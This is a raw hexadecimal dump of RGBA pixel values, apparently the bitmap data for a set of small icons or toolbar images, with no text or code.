FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7A7A79FF635F5FFF636160FF6D6B
69FF706D6DFF737070FF767473FF777674FF7A7677FF9B939FFF98A18BFF88A2
6DFF92AA7CFFADADA8FFFFFFFFFFFFFFFFFF7A7A79FF635F5FFF636160FF6D6B
69FF706D6DFF737070FF767473FF777575FF7E7973FF9C9B8DFF8984A7FF7068
B9FF7B76BCFFA8A6AFFFFFFFFFFFFFFFFFFF668458FF7CA969FFBCD8AEFF98A2
95FFD5D6D5FFD4D4D4FFFFFFFFFFD6D6D6FFD4D4D4FFFFFFFFFFD9DAD9FFD1D2
D1FFFFFFFFFFDEDEDDFFD1D2D1FFFFFFFFFF67845AFF85AE70FFBBD3B0FF8A96
85FF94B883FFBFD6B1FF97A294FFD6D6D6FFD4D4D4FFFFFFFFFFD9DAD9FFD1D2
D1FFFFFFFFFFDEDEDDFFD1D2D1FFFFFFFFFF969595FF6F6F6FFF6E6B6AFF9C97
95FFA9A6A4FFACA9A7FFACA9A7FFABA8A8FFC6BEC7FF79A24EFF297C00FF1D87
00FF34A211FF49AD30FF9EC28CFFFFFFFFFF969595FF6F6F6FFF6E6B6AFF9C97
95FFA9A6A4FFACA9A7FFACA8A8FFAEABA5FFC4C4B7FF5B51C3FF1201BDFF1102
CEFF1A0FE6FF2018E9FF8681D9FFFFFFFFFF5D8445FF5B9441FFBFE5AEFF9AA9
95FFD1D3D0FFD4D5D3FFDCDDDCFFD2D3D1FFD3D4D2FFFFFFFFFFD3D4D2FFD2D3
D2FFFFFFFFFFD4D5D3FFD2D4D2FFD2D3D2FF567D3EFF629A48FFC8EAB8FF8397
77FF82B367FFCFF0BCFF9BAC94FFD2D3D1FFD3D4D2FFFFFFFFFFD3D4D2FFD2D3
D2FFFFFFFFFFD4D5D3FFD2D4D2FFD2D3D2FFFFFFFFFFFFFFFFFFFFFFFFFFB7B6
B4FFD2D1D0FFD6D4D3FFD5D3D2FFE7DEEAFF9CB081FF176300FF338300FFBECB
B2FF6CBD5AFF49BC3AFF45AC2BFFA9ADA5FFFFFFFFFFFFFFFFFFFFFFFFFFB7B6
B4FFD2D1D0FFD6D4D3FFD5D3D2FFEAEAD7FF8780C4FF0000A3FF1000B9FF0C00
CAFF1A0EE0FF1B14EEFF1209E5FFA7A5B1FF789666FF6B9C54FFB2D9A1FF929D
8EFFD0D2CFFFD4D5D4FFD9DAD9FFD1D3D0FFD4D5D4FFDDDEDDFFD2D4D1FFD3D4
D2FFE0E0E0FFD2D4D2FFD3D4D2FFD1D1D0FF749760FF689A4FFFBADEAAFF8293
76FF679E4DFFC2E7AFFF9BAD94FFD1D3D0FFD4D5D4FFDDDEDDFFD2D4D1FFD3D4
D2FFE0E0E0FFD2D4D2FFD3D4D2FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFD3D3
D3FFBEBBB9FFC3C2BFFFC2C0BFFFD8D1DBFF50801FFF2F7000FFB0B9A4FFF9F1
FBFFF4F6F6FF56B848FF4DB63AFF94AF84FFFFFFFFFFFFFFFFFFFFFFFFFFD3D3
D3FFBEBBB9FFC3C2BFFFC3C1BEFFD9DACBFF2E22AAFF6158AFFFACA8C6FFA7A2
D1FFBEBCEBFFCAC8F0FF5E58E7FF7D78C4FFA0A59CFF739864FF8CA982FFD0D1
CFFFCFD1CEFFD4D5D3FFDADBDAFFD0D2CFFFD4D5D3FFDEDEDDFFD2D4D1FFD3D4
D2FFFFFFFFFFD2D4D2FFD3D4D2FFD1D1D0FF939C8CFF7B9870FF9BAE93FF929C
8DFF4F8A36FFB0D89CFF9BAF91FFD0D2CFFFD4D5D3FFDEDEDDFFD2D4D1FFD3D4
D2FFFFFFFFFFD2D4D2FFD3D4D2FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFF979695FFAAA7A5FFA9A6A5FFC4BCC4FF4C7D18FF437A0FFF549324FF2B90
00FFAFD5A1FFD2E5D3FF49B437FF90B07BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFF979695FFAAA7A5FFAAA7A3FFC5C3B7FF281BA9FF857BB7FFECECE1FFEEEE
EEFFF8F8F7FFFFFFF9FF746EE8FF7570C5FFFFFFFFFFDCDDDCFFFFFFFFFFFFFF
FFFFCED0CDFFD3D5D2FFDADBD9FFCFD1CEFFD4D5D3FFDDDEDDFFD1D3D0FFD3D4
D2FFFFFFFFFFD1D3D0FFD2D4D2FFD1D1D0FFFFFFFFFFDCDDDCFFFFFFFFFFA0A8
9DFF4A8231FF97C382FF9CAD93FFCFD1CEFFD4D5D3FFDDDEDDFFD1D3D0FFD3D4
D2FFFFFFFFFFD1D3D0FFD2D4D2FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFA1A09FFF8C8A87FF93908CFFAA9FABFF759651FF1E6A00FF419001FF4EA5
20FF49B330FF98D091FF7CBC6EFFA1AD98FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFA1A09FFF8C8A87FF93908DFFAEAB96FF645BB6FF0000A3FF1F10B7FF2114
C8FF2B22DCFF352FE9FF221AE7FFA19FB5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFCED0CCFFD2D3D1FFD9DAD9FFCED0CDFFD3D4D2FFDDDEDDFFD0D2CFFFD2D4
D1FFFFFFFFFFD1D2CFFFD2D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFA6AB
A2FF6A9755FF8EB879FF909D8AFFCED0CDFFD3D4D2FFDDDEDDFFD0D2CFFFD2D4
D1FFFFFFFFFFD1D2CFFFD2D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFADAD
ACFFA7A5A3FFC3C1BFFFC6C4C3FFC6C0C5FFC4C3C0FF4B8314FF388700FF46A0
15FF50B637FF47B432FF8BBC77FFD7D6D7FFFFFFFFFFFFFFFFFFFFFFFFFFADAD
ACFFA7A5A3FFC3C1BFFFC6C4C4FFC7C4BCFFC4C1C4FF3427B3FF1E0FBFFF291B
D6FF2D23ECFF2A22EFFF6B63DDFFD7D7D6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFCFD1CEFFD1D3D1FFDEDFDEFFCDD0CCFFD2D4D2FFDDDEDDFFCFD1CEFFD1D3
D1FFFFFFFFFFD0D2CFFFD1D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFC3C5
C2FF709362FF7A9A6DFFCACCC9FFCDD0CCFFD2D4D2FFDDDEDDFFCFD1CEFFD1D3
D1FFFFFFFFFFD0D2CFFFD1D3D1FFD1D1D0FFFFFFFFFFFFFFFFFFA9A8A8FFB9B5
B5FFDFDDDCFFDEDCDBFFBFBFBEFFD4D3D2FFE3DDE5FFCFCCCAFF7DA159FF5E99
2EFF65A243FF9AB38BFFC7C7C7FFFFFFFFFFFFFFFFFFFFFFFFFFA9A8A8FFB9B5
B5FFDFDDDCFFDEDCDBFFBFBFBEFFD4D3D3FFE5E4D7FFCFCDCCFF726AC0FF4B40
C5FF5046CCFF918DC4FFC8C7C6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFCDCFCCFFD2D3D1FFDDDEDDFFCED1CDFFD1D2
D0FFFFFFFFFFCFD1CEFFD1D3D0FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFCDCFCCFFD2D3D1FFDDDEDDFFCED1CDFFD1D2
D0FFFFFFFFFFCFD1CEFFD1D3D0FFD1D1D0FFFFFFFFFFFFFFFFFFAFACAAFFE0DE
DDFFBDBBBAFF6C6A69FF868382FF9C9897FFC4C2C1FFE1DBE0FFC9C0CDFFACAA
ACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAFACAAFFE0DE
DDFFBDBBBAFF6C6A69FF868382FF9C9897FFC4C2C1FFE1DFD8FFCDCCB8FFADAC
A9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFCED0CDFFD0D2CFFFDDDEDDFFCED0CDFFD0D2
CFFFFFFFFFFFCFD1CEFFD0D2D0FFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFCED0CDFFD0D2CFFFDDDEDDFFCED0CDFFD0D2
CFFFFFFFFFFFCFD1CEFFD0D2D0FFD1D1D0FFFFFFFFFFA8A8A8FFC7C5C3FFD8D8
D7FF5E5C5BFF7A7777FF5D5A5CFF959292FFB8B6B5FFD6D4D3FFCECDCBFF9493
92FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA8A8A8FFC7C5C3FFD8D8
D7FF5D5C5BFF7A7777FF5D5A5CFF959292FFB8B6B5FFD6D4D3FFCECCCCFF9492
91FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFCFD1CEFFD4D5D3FFFFFFFFFFCCCECBFFCFD1
CEFFFFFFFFFFCED1CDFFD0D2CFFFD1D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFCFD1CEFFD4D5D3FFFFFFFFFFCCCECBFFCFD1
CEFFFFFFFFFFCED1CDFFD0D2CFFFD1D1D0FFFFFFFFFF999897FFD0CECDFFAEAD
ADFF636160FF514F4FFF7C8E69FF62655EFFB7B4B6FFC6C4C3FFD3D1D0FFA09D
9BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF999897FFD0CECDFFAEAD
ADFF636160FF514F4FFF7C8E69FF62655EFFB7B4B6FFC6C4C3FFD3D1D0FFA09D
9BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCCFCBFFCED0
CDFFE0E0DFFFCFD1CEFFCFD1CEFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCCFCBFFCED0
CDFFE0E0DFFFCFD1CEFFCFD1CEFFD0D1D0FFFFFFFFFF9D9C9CFFCECDCCFFBFBD
BEFF5F5B5BFF6B6867FF60665AFF737370FFBAB8B7FFC8C6C4FFD4D4D3FF9D9C
9AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9C9CFFCECDCCFFBFBD
BEFF5E5B5BFF6B6867FF60665AFF737370FFBAB8B7FFC8C6C4FFD4D4D3FF9D9C
9AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCED0CEFFCED0
CDFFFFFFFFFFCDD0CCFFCFD1CEFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCED0CEFFCED0
CDFFFFFFFFFFCDD0CCFFCFD1CEFFD0D1D0FFFFFFFFFFC2C2C2FFBCBAB8FFE6E5
E3FF7A7879FF706E6CFF8F8B8CFFA6A2A1FFA6A4A3FFDDDCDBFFC8C6C4FF9B9A
9AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC2C2C2FFBCBAB8FFE6E5
E3FF7A7879FF706E6CFF8F8B8CFFA6A2A2FFA6A4A2FFDDDCDBFFC8C6C4FF9B9A
9AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDCDDDCFFFFFF
FFFFFFFFFFFFCCCECBFFCED0CDFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDCDDDCFFFFFF
FFFFFFFFFFFFCCCECBFFCED0CDFFD0D1D0FFFFFFFFFFFFFFFFFF9C9997FFCDCB
CBFFE1DFDEFFADABACFFA19F9EFFB2B0AFFFD9D7D6FFD5D3D2FFAEACAAFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9997FFCDCB
CBFFE1DFDEFFADABACFFA19F9EFFB2B0AFFFD9D7D7FFD5D3D2FFAEACAAFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFCDCFCCFFCDD0CCFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFCDCFCCFFCDD0CCFFD0D1D0FFFFFFFFFFFFFFFFFFFFFFFFFFA09F
9CFFC5C4C1FFDDDDDCFFD8D5D4FFDBDBDAFFCCC9C8FFAFACAAFFBEBDBDFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA09F
9CFFC5C4C1FFDDDDDCFFD8D5D4FFDBDBDAFFCCC9C8FFAFACAAFFBEBDBDFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFCFD1CEFFCED0CDFFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFCFD1CEFFCED0CDFFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFA4A3A2FF9B9A99FFA29F9DFF9F9D9BFF9B9A9AFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFA4A3A2FF9B9A99FFA29F9DFF9F9D9BFF9B9A9AFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFDADBD9FFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFDADBD9FFDADAD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFF266E2AFF0C9010FF0E8E11FF0E8D
12FF0F8F12FF0F8E12FF0F8E12FF0F8E12FF0F8E12FF0F8E12FF0F8E12FF0F8F
12FF0E8D11FF0D8E10FF0D9110FF4C734EFF252525FF0B0B0BFF0C0C0CFF0D0D
0DFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0C0C
0CFF0D0D0DFF0C0C0CFF0C0C0CFF4B4B4BFF1F7735FF019E25FF029C25FF039D
26FF029D26FF029D26FF029D26FF029D26FF029D24FF039B27FF132FFAFF1139
ECFF011600FF021D13FF009EFFFF487596FF959A99FF0D7B32FF01A738FF0CA2
37FF0BA237FF0BA237FF0BA237FF0BA237FF0BA237FF0BA237FF0BA237FF0BA2
37FF0CA136FF0AA235FF09A636FF4A7A58FF267028FF0E8910FF108810FF0F89
11FF118913FF118913FF118913FF118913FF118913FF118913FF118913FF1189
13FF108912FF0F8811FF0D8B10FF4D754DFF252525FF0B0B0BFF0F0F0FFF1010
10FF101010FF101010FF101010FF101010FF101010FF101010FF101010FF1010
10FF101010FF0E0E0EFF0C0C0CFF4B4B4BFF207834FF069724FF089526FF0995
27FF0A9527FF0A9528FF0A9528FF0A9528FF0A9626FF099426FF192BF2FF1834
E5FF071200FF081711FF0696FFFF48759AFFBDBEBEFFFFFFFFFF457651FF00AA
76FF0EB283FF0FAF7CFF0FAF7CFF0FAF7CFF0FAF7CFF0FAF7CFF0FAF7CFF0FAF
7CFF0EAF7BFF0DAF7BFF0BB380FF4A8370FF25731FFF0A880BFF0D850EFF0E86
0FFF0F860EFF0F880EFF0F870EFF0F8710FF0F8710FF0F870EFF0F880EFF0F86
0EFF0E860FFF0B850EFF0A890BFF49734AFF242424FF0B0B0BFF0C0C0CFF0F0F
0FFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E0EFF0E0E
0EFF0D0D0DFF0D0D0DFF090909FF494949FF227532FF089323FF0B9125FF0C93
26FF0D9327FF0D9227FF0D9227FF0D9227FF0D9325FF0C9226FF1C28F2FF1B31
E3FF0A0E00FF0A1310FF0892FFFF497399FFB8B8B8FFFFFFFFFFFFFFFFFF97A8
B0FF00B6E4FF08E5FFFF0BE3FFFF0BE3FFFF0BE3FFFF0BE3FFFF0BE3FFFF0BE4
FFFF0AE2FFFF08E2FFFF06E9FFFF4895A3FF233A77FF16930CFF11880DFF0E83
0DFF0D830FFF0D830EFF0E840FFF158B10FF0E830EFF0D830EFF0D830EFF0D83
0FFF0C820DFF0B810BFF098609FF4A734AFF202020FF000000FF000000FF0202
02FF020202FF020202FF020202FF020202FF020202FF020202FF020202FF0202
02FF010101FF000000FF000000FF484848FF247432FF099021FF0C8F24FF0E91
25FF0D9024FF0F9226FF0F9225FF0F9225FF0F9224FF0E9125FF1E25F2FF1B2E
E3FF0C0B00FF0C100FFF098FFFFF497299FFB8B8B8FFFDFFFFFFFFFFFFFFFFFF
FFFFEED5CFFF1560A5FF0F5FF4FF1866EBFF1866E9FF1866E9FF1766E9FF1765
E9FF1665E9FF1564E9FF1265F1FF4D6796FF21209FFF2319E8FFFCF2FFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFADA2FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A2A5FFC7C7C7FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF257432FF0A9021FF0D8E22FF0D8F
23FF0F9124FF109026FF109026FF109026FF109124FF0F9025FF1F22F2FF1D2C
E4FF0C0900FF0C0E0DFF0990FFFF497199FFB8B8B8FFFFFFFFFF139EE5FF31C1
ECFF1AACE8FFFFFFF5FF4D4B8AFF0B14DCFF1F28F2FF1F29F1FF1F29F1FF1E28
F1FF1D27F1FF1B24F1FF1824F7FF4F5199FF24249CFF0808D3FF0000C8FF8F8F
E7FFFFFFFFFFFFFFFFFF7070E2FFB1B1EEFF4747DAFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF247533FF0C9526FF0D9024FF0E8E
24FF109126FF109126FF109126FF109126FF0F9124FF0F9125FF1F23F2FF1E2C
E4FF0C0900FF0C0E0FFF0990FFFF497199FFBBBBB8FFFFFFFFFF0CB8EBFF1CAC
D8FF11BDEAFFD1F5F5FFFFFFFFFFA5A59EFF08080AFF0E0E0FFF0F0F0FFF0F0F
0FFF0E0E0EFF0C0C0DFF09090AFF49494AFF25259CFF0808D4FF0303CEFFBABA
F0FFFFFFFFFFFFFFFFFF7B7BE4FFB2B2EFFF7474E2FFF4F4FCFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF257733FF0E9628FF11952BFF1195
2AFF0F8F25FF0F9024FF0F9025FF109126FF0F9124FF0F8F26FF201AFFFF1F22
F3FF0C0000FF0C040EFF098FFFFF4970A0FFABACB7FF2429E4FF1F9AEDFF29DB
FDFF0A70E8FF4B50E6FFFFFFFFFF8D8E92FF07081BFF101222FF101223FF1011
23FF0F1021FF0D1021FF0A0B1FFF494950FF2121A3FF4040EDFFFBFBFBFFFBFB
FBFFFBFBFBFFFBFBFBFFFBFBFBFFB0B0F9FFFBFBFBFFFBFBFBFFFBFBFBFFFBFB
FBFFFBFBFBFFFBFBFBFFFFFFFFFFA4A4A4FFC4C4B9FFFFFFFFFFFBFBF9FFFBFB
F9FFFBFBF9FFFBFBF9FFFBFBF9FFFBFBF9FFFBFBF9FFFBFBF9FFFBFBF9FFFBFB
F9FFFBFBF9FFFBFBF9FFFFFFFFFFA2A29DFF257735FF0F9A2BFF12982EFF1499
2FFF159930FF14972DFF119327FF0E8F24FF0F8F24FF0E9023FF0F8F25FF0E92
1FFF0D892DFF0B8D1FFF09941DFF497550FFBCBBB8FFFFFFFFFF37CDF5FF0D48
DEFFE5D9FFFFFFFFEDFF3F3E8DFF0D17E4FF1E27EFFF1E27EFFF1F27EFFF1D26
EFFF1C25EFFF1A22EFFF1923F5FF4F5199FF262666FF0B0B00FF000000FF0000
00FF000000FF000000FF010100FF080802FF000000FF000000FF000000FF0000
00FF000000FF000000FF000000FF474747FF3634B0FF3230F4FF3230EBFF3533
EBFF3432EBFF3634EBFF3633EBFF3634EBFF3331EBFF302EEAFF2F2DEAFF2F2D
EAFF2F2DEAFF312FEBFF312FF7FF535198FF267735FF109C2FFF139A31FF169B
32FF179C33FF179C33FF179C33FF179C34FF169B32FF159930FF159C23FF1593
3BFF14828CFF1276AEFF0F9741FF49784DFFB8B8B8FFFEFFFFFFA2E6F5FF958E
F9FFE2D9C6FF1470B5FF1C7AF8FF2381EFFF207CEFFF1F7BEDFF1E7AEDFF1E7A
EDFF1D7AEDFF1D7CEFFF1C81F6FF4D6D98FF252520FF101010FF131313FF1515
15FF161616FF171717FF171717FF171717FF171717FF171717FF171717FF1616
16FF151515FF131313FF0F0F0FFF494949FF4140B1FF4643F6FF4745F2FF4746
F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947
F2FF4846F2FF4745F2FF4644F9FF585899FF257735FF109E31FF139C33FF159D
34FF169D35FF179D35FF179D35FF179D35FF179D35FF179F2DFF17829DFF1680
BDFF158CC9FF138888FF0F83C8FF496B7AFFB8B8B8FFFFFFFFFFFFFFFFFF8FA9
AEFF00C4F1FF13E7FFFF15E6FFFF15E6FFFF15E6FFFF15E6FFFF15E6FFFF14E6
FFFF13E6FFFF11E5FFFF0DECFFFF4894A3FF232323FF0B0B0BFF0E0E0EFF1010
10FF111111FF111111FF111111FF111111FF111111FF111111FF111111FF1111
11FF101010FF0E0E0EFF0A0A0AFF474747FF4140B1FF4644F6FF4644F2FF4845
F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846
F2FF4745F2FF4643F2FF4644F9FF575797FF237734FF0BA02FFF0E9E31FF109D
32FF119D33FF119D33FF119D33FF119D33FF119D33FF119D32FF119E2EFF119F
27FF109F25FF0E9F27FF0AA424FF47764DFFBEBDBEFFFFF7FFFF39734BFF0AB3
78FF1AB479FF1AB176FF1AB176FF1AB176FF1AB176FF1AB176FF1AB176FF1BB1
76FF1AB176FF18B075FF14B678FF497D69FF303030FF333333FF313131FF3333
33FF333333FF333333FF333333FF333333FF333333FF333333FF333333FF3333
33FF333333FF313131FF323232FF555555FF4948B7FF605FF9FF5D5BF5FF5E5C
F5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5C
F5FF5E5CF5FF5D5BF6FF605DF9FF6464A7FF2F7C3EFF33AC4EFF31AA4CFF33AA
4DFF33AA4DFF33AA4DFF33AA4DFF33AA4DFF33AA4DFF33AA4DFF33AA4CFF33AA
4DFF33AA4DFF31AA4CFF32AC4CFF55845DFF9A9B9AFF338C4FFF35B25DFF3DAE
5DFF3CAE5EFF3CAE5EFF3CAE5EFF3CAE5EFF3CAE5EFF3CAE5EFF3CAE5EFF3CAE
5EFF3DAE5CFF3CAD5BFF3CB05DFF588764FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
